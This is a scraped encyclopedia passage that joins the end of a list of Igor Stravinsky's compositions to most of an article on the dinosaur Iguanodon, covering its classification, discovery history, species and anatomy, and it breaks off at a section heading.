            	Scherzo  la Russe for orchestra (1944, also a version for Paul Whiteman's band)


            	Symphony in Three Movements (1945)


            	Concerto in D, for string orchestra (1946)


            	Tango for chamber orchestra (1940/1953)


            	Greeting Prelude for orchestra (1955)


            	Eight Instrumental Miniatures for 15 Players (1963, orchestration of Les Cinq Doigts)


            	Variations (Aldous Huxley in Memoriam) (1963/1964)

          


          


          Concertante


          
            	Concerto for Piano and Wind Instruments (1923-24/1951)


            	Capriccio for Piano and Orchestra (1929/1949)


            	Violin Concerto in D (1931)


            	Movements for Piano and Orchestra (1958/1959)

          


          


          Choral


          
            	Le Roi des toiles (The King of the Stars), for men's choir and orchestra (1912)


            	Pater Noster (1926)


            	Symphony of Psalms, for chorus and orchestra (1930, rev. 1948)


            	Credo (1932)


            	Ave Maria (1934)


            	Babel (1944)


            	Mass (1944-48)


            	Cantata, for mezzo-soprano, tenor, female chorus, 2 flutes, oboe, English horn, and cello (1951-52)


            	Canticum sacrum (1955)


            	Threni (1958)


            	A Sermon, a Narrative and a Prayer (1961)


            	Anthem (The Dove Descending Breaks the Air), for chorus a cappella (1962)


            	Abraham and Isaac (1963)


            	Introitus (1965)


            	Requiem Canticles (1966)

          


          


          Vocal


          
            	Romance for Voice and Piano (1902)


            	The Faun and the Shepherdess, for mezzo-soprano and orchestra, Op. 2 (1907)


            	Pastorale, for wordless soprano and piano (1907)


            	Dva romansa (Two Melodies), for mezzo-soprano and piano, Op.6 (190708)


            	Deux Pomes de Paul Verlaine, for baritone and piano or orchestra, Op.9 (1910/1951)


            	Dva stikhotvoreniya Konstantina Bal'monta (Two Poems of Konstantin Balmont), for voice and piano or small orchestra (1911/1954)


            	Trois Posies de la lyrique japonaise, for voice and piano or chamber orchestra (1913)


            	Trois Petites Chansons, for voice and piano (or small orchestra) (1913/1930)


            	Pribaoutki, for voice, flute, oboe, clarinet, bassoon, violin, viola, cello, double bass (1914)


            	Berceuses du chat, for contralto and three clarinets (1916)


            	Detskiye pesenki (Three Tales for Children), for voice and piano (1917)


            	Four Russian Peasant Songs, for female voice unaccompanied (1917)


            	Berceuse, for voice and piano (1918)


            	Quatre Chants russes, for voice and piano (1918/1919)


            	Petit Ramusianum harmonique, for single voice or voices (1938)


            	Three Songs from William Shakespeare, for mezzo-soprano, flute, clarinet, and viola (1953)


            	Four Russian Songs, for mezzo-soprano, flute, harp and guitar (1954, versions from Quatre Chants russes and Detskiye pesenki)


            	In memoriam Dylan Thomas (Dirge Canons and Song) (1954)


            	Elegy for J.F.K., for baritone and three clarinets (1964)


            	The Owl and the Pussy Cat, for soprano and piano (1966)

          


          


          Band


          
            	Preludium for Jazz Band (1936/37)


            	Ebony Concerto for clarinet and jazz band (1945)

          


          


          Chamber/instrumental


          
            	Three Pieces for String Quartet (1914)


            	Pour Pablo Picasso, piece for clarinet (1917)


            	Canon for Two Horns (1917)


            	Duet for Two Bassoons (1918)


            	Suite from L'Histoire du soldat, for violin, clarinet, and piano (1919)


            	Three Pieces for Clarinet (1919)


            	Concertino for String Quartet (1920)


            	Octet for Wind Instruments (1923)


            	Suite italienne (from Pulcinella), for violin and piano (1925)


            	Duo concertant for Violin and Piano (1932)


            	Suite italienne (from Pulcinella), for cello and piano (1932/33) (in collaboration with Gregor Piatigorsky)


            	Pastorale, for violin and piano (1933)


            	Suite italienne (from Pulcinella), for violin and piano (1934) (in collaboration with Samuel Dushkin)


            	Elegy, for solo viola (1944)


            	Septet (1953)


            	Epitaphium, for flute, clarinet and harp (1959)


            	Double Canon, for string quartet 'Raoul Dufy in Memoriam' (1959)


            	Monumentum pro Gesualdo di Venosa (arrangement), for chamber ensemble (1960)


            	Fanfare for a New Theatre, for two trumpets (1964)

          


          


          Piano


          
            	Tarantella (1898)


            	Scherzo (1902)


            	Piano Sonata in F-Sharp Minor (1903-4)


            	Quatre tudes, Op. 7 (1908)


            	L'Oiseau de feu (The Firebird) (1910)


            	Petrushka (1911)


            	Le Sacre du printemps, for one piano, four hands (1913)


            	Valse des fleurs, for two pianos (1914)


            	Trois Pices faciles, for two pianos (1915)


            	Souvenir d'une marche boche (1915)


            	Cinq Pices faciles, for two pianos (1917)


            	Valse pour les enfants (1917)


            	Piano-Rag-Music (1919)


            	Chorale (1920)


            	Les Cinq Doigts (1921)


            	Trois mouvements de Ptrouchka (1921)


            	Piano Sonata (1924)


            	Serenade (1925)


            	Concerto for Two Pianos (1935)


            	Tango (1940)


            	Sonata for Two Pianos (1943)


            	Two sketches for a sonata (1967)

          


          


          Player-piano


          NB: This is not a list of all the piano rolls of Stravinsky's music, but only of those which were composed or re-written for the player-piano by the composer himself. The dates are of publication.


          
            	Etude pour Pianola (Study for Pianola) - Aeolian Company, London, Themodist T967 (1921)


            	Pulcinella Pleyel, Paris, Pleyela 8421 - 8428 (1921)


            	Le Sacre du printemps (The Rite of Spring) - Pleyel, Paris, Pleyela 8429 - 8437 (1921)


            	Le Sacre du printemps (The Rite of Spring) - Aeolian Company, London, Themodist T24150 - T24153 (1921)


            	Piano-Rag-Music - Pleyel, Paris, Pleyela 8438 (1921)


            	Ragtime - Pleyel, Paris, Pleyela 8450 (1921)


            	Petrushka - Pleyel, Paris, Pleyela 8441 - 8447 (1922)


            	Le Chant du rossignol (Song of the Nightingale) - Pleyel, Paris, Pleyela 8451 - 8453 (1922/3)


            	Three Tales for Children - Pleyel, Paris, Pleyela 8454 (1922/3)


            	Quatre Chants russes (Four Russian Songs) - Pleyel, Paris, Pleyela 8455 (1922/3)


            	Concertino - Pleyel, Paris, Pleyela 8456 (1923)


            	Les Noces (The Wedding) - Pleyel, Paris 8831 - 8834, 8861 (1923)


            	L'Oiseau de feu (The Firebird) - Pleyel, Paris, Pleyela 10039 - 10045 (1926)


            	L'Oiseau de feu (The Firebird) - Aeolian Company, London, Duo-Art D759 - D769 (1929)

          


          
            Retrieved from " http://en.wikipedia.org/wiki/Igor_Stravinsky"
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              	Iguanodon

              Fossil range: Early Cretaceous
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                  Iguanodon skull from Oxford University Museum of Natural History
                

              
            


            
              	Scientific classification
            


            
              	
                
                  
                    	Kingdom:

                    	Animalia

                  


                  
                    	Phylum:

                    	Chordata

                  


                  
                    	Class:

                    	Sauropsida

                  


                  
                    	Superorder:

                    	Dinosauria

                  


                  
                    	Order:

                    	Ornithischia

                  


                  
                    	Suborder:

                    	Cerapoda

                  


                  
                    	Infraorder:

                    	Ornithopoda

                  


                  
                    	Family:

                    	Iguanodontidae

                    Cope, 1869
                  


                  
                    	Genus:

                    	Iguanodon

                    Mantell, 1825
                  

                

              
            


            
              	Species
            


            
              	
                
                  	I. bernissartensis Boulenger, 1881 ( neotype)


                  	I. anglicus Holl, 1829 ( nomen dubium)


                  	?I. dawsoni Lydekker, 1888


                  	?I. fittoni Lydekker, 1889

                

              
            


            
              	Synonyms
            


            
              	
                
                  	?Heterosaurus Cornuel, 1850


                  	Hikanodon Keferstein, 1834


                  	"Iguanoides" Conybeare vide Cadbury, 2000 ( nomen nudum)


                  	"Iguanosaurus" [Anonymous] 1824 (nomen nudum)


                  	"Proiguanodon" van den Broeck, 1900 (nomen nudum)


                  	?Sphenospondylus Seeley, 1882


                  	Therosaurus Fitzinger, 1840


                  	?Vectisaurus Hulke, 1879

                

              
            

          


          Iguanodon (pronounced /ɪˈgwɑːnədɒn/ or /ɪˈgwnədɒn/, meaning " Iguana tooth") is a genus of ornithopod dinosaur that lived roughly halfway between the first of the swift bipedal hypsilophodontids and the ornithopods' culmination in the duck-billed dinosaurs. Many species of Iguanodon have been named, dating from the Kimmeridgian age of the Late Jurassic Period to the Cenomanian age of the Late Cretaceous Period from Asia, Europe, and North America. However, research in the first decade of the 2000s suggests that there is only one well-substantiated species: I. bernissartensis, that lived from the Barremian to the early Aptian ( Early Cretaceous) in Europe, between about 130 and 120million years ago. Iguanodon's most distinctive features were its large thumb spikes, which were possibly used for defence against predators.


          Discovered in 1822 and described three years later by English geologist Gideon Mantell, Iguanodon was the second dinosaur formally named, after Megalosaurus. Together with Megalosaurus and Hylaeosaurus, it was one of the three genera originally used to define Dinosauria. A large, bulky herbivore, Iguanodon is a member of Iguanodontia, along with the duck-billed hadrosaurs. The taxonomy of this genus continues to be a topic of study as new species are named or long-standing ones reassigned to other genera.


          Scientific understanding of Iguanodon has evolved over time as new information has been obtained from the fossils. The numerous specimens of this genus, including nearly complete skeletons from two well-known bonebeds, have allowed researchers to make informed hypotheses regarding many aspects of the living animal, including feeding, movement, and social behaviour. As one of the first scientifically well-known dinosaurs, Iguanodon has occupied a small but notable place in the public's perception of dinosaurs, its artistic representation changing significantly in response to new interpretations of its remains.


          


          Description
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          Iguanodon was a bulky herbivore that could shift from bipedality to quadrupedality. The best-known species, I. bernissartensis, is estimated to have weighed about 3.08 tonnes (3.5 tons) on average, and measured about 10 metres long (32.8 feet) as an adult, with some specimens possibly as a long as 13metres (42.6ft). Other species were not as large; the similarly robust I. dawsoni is estimated at 8metres long (26.2ft), and its more lightly-built contemporary I. fittoni at 6metres (19.7ft). This genus had a large, tall but narrow skull, with a toothless beak probably covered with keratin, and teeth like those of an iguana, but much larger and more closely packed.


          The arms were long (up to 75% the length of the legs in I. bernissartensis) and robust, with rather inflexible hands built so that the three central fingers could bear weight. The thumbs were conical spikes that stuck out away from the three main digits. In early restorations, the spike was placed on the animal's nose. Later fossils revealed the true nature of the thumb spikes, although their exact function is still debated. They could have been used for defense, or for foraging for food. The little finger was elongate and dextrous, and could have been used to manipulate objects. The legs were powerful, but not built for running, and there were three toes on each foot. The backbone and tail were supported and stiffened by ossified tendons, which were tendons that turned to bone during life (these rod-like bones are usually omitted from skeletal mounts and drawings). Overall, in body structure, it was not too dissimilar from its later relatives, the hadrosaurids.


          


          Classification and origins
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          Iguanodon gives its name to the unranked clade Iguanodontia, a very populous group of ornithopods with many species known from the Middle Jurassic to the Late Cretaceous. Aside from Iguanodon, the best-known members of the clade include Dryosaurus, Camptosaurus, Ouranosaurus, and the duck-bills, or hadrosaurs. In older sources, Iguanodontidae was shown as a distinct family. This family traditionally has been something of a wastebasket taxon, including ornithopods that were neither hypsilophodontids or hadrosaurids. In practice, animals like Callovosaurus, Camptosaurus, Craspedodon, Kangnasaurus, Mochlodon, Muttaburrasaurus, Ouranosaurus, and Probactrosaurus were usually assigned to this family. With the advent of cladistic analyses, Iguanodontidae was shown to be paraphyletic, and these animals are recognized to fall at different points in relation to hadrosaurs on a cladogram, instead of in a single distinct clade. Groups like Iguanodontoidea are still used as unranked clades in the scientific literature, though many traditional iguanodontids are now included in the superfamily Hadrosauroidea. Iguanodon lies between Camptosaurus and Ouranosaurus in cladograms, and is probably descended from a camptosaur-like animal. At one point, Jack Horner suggested, based mostly on skull features, that hadrosaurids actually formed two more distantly-related groups, with Iguanodon on the line to the flat-headed hadrosaurines, and Ouranosaurus on the line to the crested lambeosaurines, but his proposal has been rejected.


          


          Discovery and history


          


          Gideon Mantell, Sir Richard Owen, and the discovery of dinosaurs
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          The discovery of Iguanodon has long been accompanied by a popular legend. The story goes that Gideon Mantell's wife, Mary Ann, discovered the first teeth of an Iguanodon in the strata of Tilgate Forest in Whiteman's Green, Cuckfield, Sussex, England, in 1822 while her husband was visiting a patient. However, there is no evidence that Mantell took his wife with him while seeing patients. Furthermore, he admitted in 1851 that he himself had found the teeth. Not everyone agrees that the story is false, though. Regardless of the exact circumstances, he combed the area for more fossils, and consulted the fossil experts of the time as to what sort of animal the bones might belong to. Most of the scientists, such as William Buckland and Georges Cuvier, thought that the teeth were from fish or mammals. However, Samuel Stutchbury, a naturalist from the Royal College of Surgeons, recognized that they resembled those of an iguana, albeit twenty times larger. Mantell did not describe his findings until 1825, when he presented a paper on the remains to the Royal Society of London.


          In recognition of the resemblance of the teeth to those of the iguana, Mantell named his new genus Iguanodon or "iguana-toothed", from iguana and the Greek word odontos ("tooth"). Based on isometric scaling, he estimated that the creature might have been up to 12metres (40ft) long. His initial idea for a name was Iguanasaurus ("Iguana lizard"), but his friend William Daniel Conybeare suggested that that name was more applicable to the iguana itself, so a better name would be Iguanoides ("Iguana-like") or Iguanodon. He neglected to add a species name to form a proper binomial, so one was supplied in 1829 by Friedrich Holl: I. anglicum, which was later amended to I. anglicus.
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          A better specimen was discovered in a quarry in Maidstone, Kent, in 1834, which Mantell soon acquired. He was able to identify it as an Iguanodon from its distinctive teeth. The Maidstone slab allowed the first skeletal reconstructions and artistic renderings of Iguanodon. As such, he made some mistakes, the most famous of which was the placement of what he thought was a horn on the nose. The discovery of much better specimens in later years revealed that the horn was actually a modified thumb. Still encased in rock, the Maidstone skeleton is currently displayed at the Natural History Museum in London. The borough of Maidstone commemorated this find by adding an Iguanodon as a supporter to their coat of arms in 1949. This specimen has become linked with the name I. mantelli, a species named in 1832 by Christian Erich Hermann von Meyer in place of I. anglicus, but it actually comes from a different formation than the original I. mantelli/I. anglicus material.


          At the same time, tension began to build between Mantell and Richard Owen, an ambitious scientist with much better funding and society connections in the turbulent worlds of Reform Act-era British politics and science. Owen, a firm creationist, opposed the early versions of evolutionary science (" transmutationism") then being debated and used what he would soon coin as dinosaurs as a weapon in this conflict. With the paper describing Dinosauria, he scaled down dinosaurs from lengths of over 61metres (200ft), determined that they were not simply giant lizards, and put forward that they were advanced and mammal-like, characteristics given to them by God; according to the understanding of the time, they could not have been "transmuted" from reptiles to mammal-like creatures.
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          Shortly before his death in 1852, Mantell realized that Iguanodon was not a heavy, pachyderm-like animal, as Owen was putting forward, but his passing left him unable to participate in the creation of the Crystal Palace dinosaur sculptures, and so Owen's vision of the dinosaurs became that seen by the public for decades. With Waterhouse Hawkins, he had nearly two dozen lifesize sculptures of various prehistoric animals built out of concrete sculpted over a steel and brick framework; two Iguanodon, one standing and one resting on its belly, were included. Before the sculpture of the standing Iguanodon was completed, he held a banquet for twenty inside it.


          


          Bernissart
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          The largest find of Iguanodon remains to date occurred in 1878 in a coal mine at Bernissart in Belgium, at a depth of 322 m (1056 ft). With the encouragement of Alphonse Briart, supervisor of mines at nearby Morlanwelz, Louis Dollo, with Louis de Pauw, oversaw excavation of the skeletons and reconstructed them. At least 38 Iguanodon individuals were uncovered, most of which were adults. Many of them went on public display beginning in 1882 and are still present for viewing; 11 are displayed as standing mounts, and 20 as they were (approximately) found. The exhibit makes an impressive display in the Royal Belgian Institute of Natural Sciences, in Brussels. A replica of one of these is on display at the Oxford University Museum of Natural History and at the Sedgwick Museum in Cambridge. Most of the remains were referred to a new species, I. bernissartensis, a larger and much more robust animal than the English remains had yet revealed, but one specimen was referred to the nebulous, gracile I. mantelli (now Dollodon bampingi). The skeletons were some of the first complete dinosaur skeletons known. Found with the dinosaur skeletons were the remains of plants, fish, and other reptiles, including the crocodilian Bernissartia.
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          The science of conserving fossil remains was in its infancy, and was ill-equipped to deal with what soon became known as "pyrite disease". Pyrite in the bones was changing to iron sulphate, damaging the remains by causing them to crack and crumble. When in the ground, the bones were exposed to moisture that prevented this from happening, but when removed into the drier open air, the natural chemical conversion began to occur. Not knowing the true cause, and thinking it was an actual infection, the staff at the Museum in Brussels attempted to treat the problem with a combination of alcohol, arsenic, and shellac. This combination was intended to simultaneously penetrate (alcohol), kill any biological agent (arsenic), and harden (shellac) the fossils. This treatment had the unintended effect of sealing in moisture and extending the period of damage. Modern treatments instead involve either monitoring the humidity of fossil storage, or, for fresh specimens, preparing a special coating of polyethylene glycol that is then heated in a vacuum pump, so moisture is immediately removed and pore space is infiltrated with polyethelene glycol to seal and strengthen the fossil.
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          Dollo's specimens allowed him to show that Owen's prehistoric pachyderms were not correct for Iguanodon. He instead modelled the skeletal mounts after the emu and wallaby, and put the spike that had been on the nose firmly on the thumb. He was not completely correct, but he also had the disadvantage of being faced with some of the first complete dinosaur remains. A problem that was later recognized was the bend he introduced into the tail. This organ was more or less straight, as shown by the skeletons he was excavating, and the presence of ossified tendons. In fact, to get the bend in the tail for a more wallaby or kangaroo-like posture, the tail would have had to be broken. With its correct, straight tail and back, the animal would have walked with its body held horizontal to the ground, arms in place to support the body if needed.


          Excavations at the quarry were stopped in 1881, although it was not exhausted of fossils, as recent drilling operations have shown. During World War I, when the town was occupied by German forces, preparations were made to reopen the mine for palaeontology, and Otto Jaekel was sent from Berlin to supervise. The Allies recaptured Bernissart just as the first fossiliferous layer was about to be uncovered. Further attempts to reopen the mine were hindered by financial problems and were stopped altogether in 1921 when the mine flooded.


          


          To the present: Worldwide finds
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          Research on Iguanodon decreased during the early part of the 20th century as World Wars and the Great Depression enveloped Europe. A new species that would become the subject of much study and taxonomic controversy, I. atherfieldensis, was named in 1925 by R. W. Hooley, for a specimen collected at Atherfield Point on the Isle of Wight. However, what had been a European genus was now being found worldwide, with material in Africa (teeth from Tunisia and elsewhere in the Sahara Desert), Mongolia (I. orientalis), and the United States in North America (I. ottingeri from Utah). Another North American species, from South Dakota, once assigned to Iguanodon as I. lakotaensis, has since been re-classified as the genus Dakotadon.


          Iguanodon was not part of the initial work of the dinosaur renaissance that began with the description of Deinonychus in 1969, but it was not neglected for long. David B. Weishampel's work on ornithopod feeding mechanisms provided a better understanding of how it fed, and David B. Norman's work on numerous aspects of the genus has made it one of the best-known dinosaurs. In addition, a further find of numerous Iguanodon skeletons, in Nehden, Nordrhein-Westphalen, Germany, has provided evidence for gregariousness in this genus, as the animals in this areally-restricted find appear to have been killed by flash floods. At least 15 individuals, from 2 to 8metres long (6.6 to 26.2ft), have been found here, although at least some of them belong to the closely related Mantellisaurus atherfieldensis (at that time believed to be another species of Iguanodon).


          Iguanodon material has also been used in the search for dinosaur DNA and other biomolecules. In research by Graham Embery et al, Iguanodon bones were processed to look for remnant proteins. In this research, identifiable remains of typical bone proteins, such as phosphoproteins and proteoglycans, were found in a rib.


          


          Species
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          Because Iguanodon is one of the first dinosaur genera to have been named, numerous species have been assigned to it. While never becoming the wastebasket taxon several other early genera of dinosaurs became (such as Megalosaurus and Pelorosaurus), Iguanodon has had a complicated history, and its taxonomy continues to undergo revisions. Remains of the best-known species have come from Belgium, England, Germany, Spain and France. Remains of similar animals possibly belonging to this genus have been found in Tunisia and Mongolia, and distinct species are present in Utah and South Dakota, USA.


          I. anglicus was the original type species, but the holotype was based on a single tooth and only partial remains of the species have been recovered since. In March of 2000, the International Commission on Zoological Nomenclature changed the type species to the much better known I. bernissartensis. The original Iguanodon tooth is held at Te Papa Tongarewa, the national museum of New Zealand in Wellington, although it is not on display. The fossil arrived in New Zealand following the move of Gideon Mantell's son Walter there; after the elder Mantell's death, his fossils went to Walter.


          


          Species currently accepted as valid


          
            [image: Mounted Iguanodon skeleton, �berseemuseum, Bremen.]

            
              Mounted Iguanodon skeleton, berseemuseum, Bremen.
            

          


          Only a few of the many species assigned to Iguanodon are still considered to be valid and to fall within the genus Iguanodon. I. bernissartensis, described by George Albert Boulenger in 1881, is the neotype for the genus. This species is best known for the many skeletons discovered in Bernissart, but is also known from remains across Europe. David Norman suggested that it includes the dubious Mongolian I. orientalis, but this has not been followed by other researchers.


          Two species described by Richard Lydekker in the late 1800s are valid, but rarely discussed. I. dawsoni, described by Lydekker in 1889, is known from two partial skeletons from the Valanginian- Barremian-age Lower Cretaceous Hastings Beds of East Sussex, England. I. fittoni was also described by Lydekker, in 1888. Like I dawsoni, this species is known from the Hastings Beds of East Sussex. It may also have been found in Spain. Three partial skeletons are known. The two species are separated on the basis of vertebral and pelvic characters, size, and build. For example, I. dawsoni was more robust than I. fittoni, with large Camptosaurus-like vertebrae featuring short neural spines, whereas I. fittoni is known for its "long, narrow, and steeply inclined neural spines". Neither of these species may actually pertain to Iguanodon.


          


          Reassigned species


          Two species of Iguanodon named by Richard Owen have since been reassigned to other genera. I. hoggi (also spelled I. boggii or hoggii), named by Owen for a lower jaw from the Tithonian- Berriasian-age Upper Jurassic- Lower Cretaceous Purbeck Beds of Dorset in 1874, has been reassigned to Camptosaurus by David Norman and Paul Barrett. I. major, a vertebra from the Isle of Wight described by Owen in 1842 as a species of Streptospondylus, is a nomen dubium which is now thought to be a synonym of I. anglicus.


          Other than the two species described by Owen which have been reassigned to other genera, fourteen other species have since been reclassified. Iguanodon albinus (or Albisaurus scutifer), described by Czech paleontologist Antonin Fritsch (correctly Frič) in 1893, is a dubious nondinosaurian reptile now known as Albisaurus albinus. I. atherfieldensis, described by R.W. Hooley in 1925, was smaller and less robust than I. bernissartensis, with longer neural spines. It was renamed Mantellisaurus atherfieldensis in 2006. I. exogyrarum (also spelled I. exogirarum or I. exogirarus) was described by Fritsch in 1878. It is a nomen dubium based on very poor material and has been reassigned, by George Olshevsky, to Ponerosteus. I. valdensis, described by Hulke in 1879 from vertebral and pelvic remains, was from the Barremian stage of the Isle of Wight. Originally named Vectisaurus, it is probably a partially-grown specimen of Mantellisaurus atherfieldensis. I. gracilis, named by Lydekker in 1888 as the type species of Sphenospondylus and assigned to Iguanodon in 1969 by Rodney Steel, may belong to Mantellisaurus atherfieldensis.


          I. foxii (also spelled I. foxi) was originally described by Thomas Henry Huxley in 1869 as the type species of Hypsilophodon; Owen (1873 or 1874) reassigned it to Iguanodon, but his assignment was soon overturned.I. hollingtoniensis (also spelled I. hollingtonensis), described by Lydekker in 1889, is a synonym of I. fittoni. I. prestwichii (also spelled I. prestwichi), described by John Hulke in 1880, has been reassigned to Camptosaurus prestwichii. I. seeleyi (also spelled I. seelyi), described by Hulke two years after I. prestwichii, has been synonymized with I. bernissartensis. I. suessii, described by Emanuel Bunzel in 1871, has been reassigned to Mochlodon suessi.


          I. lakotaensis was described by David B. Weishampel and Philip R. Bjork in 1989. The only well-accepted North American species of Iguanodon, I. lakotaensis was described from a partial skull from the Barremian-age Lower Cretaceous Lakota Formation of South Dakota, USA. Its assignment has been controversial. Some researchers suggest that it was more basal than I. bernissartensis, and related to Theiophytalia, but David Norman has suggested that it was a synonym of I. bernissartensis. Gregory S. Paul has since given the species its own genus, Dakotadon.


          Iguanodon mantelli (also spelled I. manteli or I. mantellii), described by Christian Erich Hermann von Meyer in 1832, is actually based on the same material as I. anglicus. Several skeletons, however, including the Maidstone specimen and one of the Bernissart skeletons have been assigned here over the years, and their attribution is not complete. The gracile Bernissart skeleton, for example, has been reassigned, first to Mantellisaurus atherfieldensis, and upon further review, to its own genus and species, Dollodon bampingi. I. orientalis, described by A. K. Rozhdestvensky in 1952, was based on poor material, but a skull with a distinctive arched snout that had been assigned to it was renamed Altirhinus kurzanovi in 1998. At the same time, I. orientalis was considered to be a nomen dubium indistinguishable from I. bernissartensis. Harry Seeley described I. phillipsi in 1869, but later reassigned it to Priodontognathus.


          


          Dubious species


          Five Iguanodon species are considered to be nomina dubia or undescribed. I. anglicus, described by Friedrich Holl in 1829, is the original type species of Iguanodon, but, as discussed above, was replaced by I. bernissartensis. In the past, it has been spelled as I. angelicus (Lessem and Glut, 1993) and I. anglicum (Holl, 1829 emend. Bronn, 1850). It is known from teeth from the Valanginian- Barremian-age Lower Cretaceous Tilgate Forest of East Sussex, England. I. hillii, coined by Edwin Tully Newton in 1892 for a tooth from the early Cenomanian Upper Cretaceous Lower Chalk of Hertfordshire, is an early hadrosaurid of some sort. "I. mongolensis" (Whitfield, 1992) is a nomen nudum from a photo caption in a book, of remains that would later be named Altirhinus.


          I. ottingeri, described by Peter Galton and James A. Jensen in 1979, is a nomen dubium based on teeth from the possibly Aptian-age lower Cedar Mountain Formation of Utah. I. praecursor (also spelled I. precursor), described by E. Sauvage in 1876 from teeth from an unnamed Kimmeridgian ( Late Jurassic) formation in Pas-de-Calais, France, is actually a sauropod, sometimes assigned to Neosodon, although the two come from different formations.


          Finally, several other poorly known genera and species are included with Iguanodon without being separate species, although their assignment is less certain with the renaming of I. atherfieldensis. These include Heterosaurus neocomiensis (Cornuel, 1850), Hikanodon (Keferstein, 1834), and Therosaurus (Fitzinger, 1840), and the species "Streptospondylus" recentior (Owen, 1851), " Cetiosaurus" brachyurus, and part of "C." brevis (Owen, 1842; "C." brevis is a chimera). The nomen nudum "Proiguanodon" (van den Broeck, 1900) also belongs here, and possibly the very obscure "Streptospondylus" grandis (Owen, 1851) and meyeri (Owen, 1854).


          


          Paleobiology


          


          Feeding and diet
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          One of the first details noted about Iguanodon was that it had the teeth of a herbivorous reptile, although there has not always been consensus on how it ate. As Mantell noted, the remains he was working with were unlike any modern reptile, especially in the toothless, scoop-shaped form of the lower jaw symphysis, which he found best compared to that of the two-toed sloth and the extinct ground sloth Mylodon. He also suggested that Iguanodon had a prehensile tongue which could be used to gather food, like a giraffe. More complete remains have shown this to be an error; for example, the hyoid bones that supported the tongue are heavily built, implying a muscular, non-prehensile tongue used for moving food around in the mouth. The giraffe-tongue idea has also been incorrectly attributed to Dollo via a broken lower jaw.


          Iguanodon teeth are, as the name suggests, like those of an iguana, but larger. Unlike hadrosaurids, which had columns of replacement teeth, Iguanodon only had one replacement tooth at a time for each position. The upper jaw held up to 29 teeth per side, with none at the front of the jaw, and the lower jaw 25; the numbers differ because teeth in the lower jaw are broader than those in the upper. Because the tooth rows are deeply inset from the outside of the jaws, and because of other anatomical details, it is believed that, as with most other ornithischians, Iguanodon had some sort of cheek-like structure, muscular or non-muscular, to retain food in the mouth.
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          The skull was structured in such a way that as it closed, the bones holding the teeth in the upper jaw would bow out. This would cause the lower surfaces of the upper jaw teeth to rub against the upper surface of the lower jaw's teeth, grinding anything caught in between and providing an action that is the rough equivalent of mammalian chewing. Because the teeth were always replaced, the animal could have used this mechanism throughout its life, and could eat tough plant material. Additionally, the front ends of the animal's jaws were toothless and tipped with bony nodes, both upper and lower, providing a rough margin that was likely covered and lengthened by a keratinous material to form a cropping beak for biting off twigs and shoots. Its food gathering would have been aided by its flexible little finger, which could have been used to manipulate objects, unlike the other fingers.


          Exactly what Iguanodon ate with its well-developed jaws is not known. The size of the larger species, such as I. bernissartensis, would have allowed them access to food from ground level to tree foliage at 45metres high (1316.5ft). A diet of horsetails, cycads, and conifers was suggested by David Norman, although iguanodonts in general have been tied to the advance of angiosperm plants in the Cretaceous due to the dinosaurs' inferred low browsing habits. Angiosperm growth, according to this hypothesis, would have been encouraged by iguanodont feeding because gymnosperms would be removed, allowing more space for the weed-like early angiosperms to grow. The evidence is not conclusive, though. Whatever its exact diet, due to its size and abundance, Iguanodon is regarded as a dominant medium to large herbivore for its ecological communities. In England, this included the small predator Aristosuchus, larger predators Eotyrannus, Baryonyx, and Neovenator, low-feeding herbivores Hypsilophodon and Valdosaurus, fellow "iguanodontid" Mantellisaurus, the armoured herbivore Polacanthus, and sauropods like Pelorosaurus.


          


          Posture and movement
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          Early fossil remains were fragmentary, which led to much speculation on the posture and nature of Iguanodon. As discussed, Iguanodon was initially portrayed as a quadrupedal horn-nosed beast. However as more bones were discovered, Mantell observed that the forelimbs were much smaller than the hindlimbs. His rival Owen was of the opinion it was a stumpy creature with four pillar-like legs. The job of overseeing the first lifesize reconstruction of dinosaurs was initially offered to Mantell, who declined due to poor health, and Owen's vision subsequently formed the basis on which the sculptures took shape. Its bipedal nature was revealed with the discovery of the Bernissart skeletons. However, it was depicted in an upright posture, with the tail dragging along the ground, acting as the third leg of a tripod.


          
            [image: Nineteenth century painting showing Iguanodon in a tripod pose.]

            
              Nineteenth century painting showing Iguanodon in a tripod pose.
            

          


          During his re-examination of Iguanodon, David Norman was able to show that this posture was unlikely, due to the presence of a long tail stiffened with ossified tendons. To get the tripodal pose, the tail would literally have to be broken. Putting the animal in a horizontal posture makes many aspects of the arms and pectoral girdle more understandable. For example, the hand is relatively immobile, with the three central fingers grouped together, bearing hoof-like phalanges, and able to hyperextend. This would have allowed them to bear weight. The wrist is also relatively immobile, and the arms and shoulder bones robust. These features all suggest that the animal spent time on all fours.
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          Furthermore, it appears that Iguanodon became more quadrupedal as it got older and heavier; juvenile I. bernissartensis have shorter arms than adults (60% of hindlimb length versus 70% for adults). When walking as a quadruped, the animal's hands would have been held so that the palms faced each other, as shown by iguanodontian trackways and the anatomy of this genus' arms and hands. The three toed pes (foot) of Iguanodon was relatively long, and when walking, both the hand and the foot would have been used in a digitigrade fashion (on the fingers and toes). The maximum speed of Iguanodon has been estimated at 24 km/h (14.9 mph), which would have been as a biped; it would not have been able to gallop as a quadruped.


          Large three-toed footprints are known in Early Cretaceous rocks of England, particularly Wealden beds on the Isle of Wight, and these trace fossils were originally difficult to interpret. Some authors associated them with dinosaurs early on. In 1846, E. Tagert went so far as to assign them to an ichnogenus he named Iguanodon, and Samuel Beckles noted in 1854 that they looked like bird tracks, but might have come from dinosaurs. The identity of the trackmakers was greatly clarified upon the discovery in 1857 of the hind leg of a young Iguanodon, with distinctly three-toed feet, showing that such dinosaurs could have made the tracks. Despite the lack of direct evidence, these tracks are often attributed to Iguanodon. A trackway in England shows what may be an Iguanodon moving on all fours, but the foot prints are poor, making a direct connection difficult. Tracks assigned to the ichnogenus Iguanodon are known from locations including places in Europe where the body fossil Iguanodon is known, to Spitsbergen, Svalbard, Norway.


          


          Thumb spike
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              The original thumb spike found in Maidstone in 1840
            

          


          The thumb spike is one of the most well-known features of Iguanodon. Although it was originally placed on the animal's nose by Mantell, the complete Bernissart specimens allowed Dollo to correctly place it on the hand, as a modified thumb. (This would not be the last time a dinosaur's modified thumb claw would be misinterpreted; Noasaurus, Baryonyx, and Megaraptor are examples since the 1980s where an enlarged thumb claw was first put on the foot, as in dromaeosaurids.)


          This thumb is typically interpreted as a close-quarters stiletto-like weapon against predators, although it could also have been used to break into seeds and fruits, or against other Iguanodon. One author has suggested that the spike was attached to a venom gland, but this has not been accepted, as the spike was not hollow, nor were there any grooves on the spike for conducting venom.


          


          Possible social behaviour


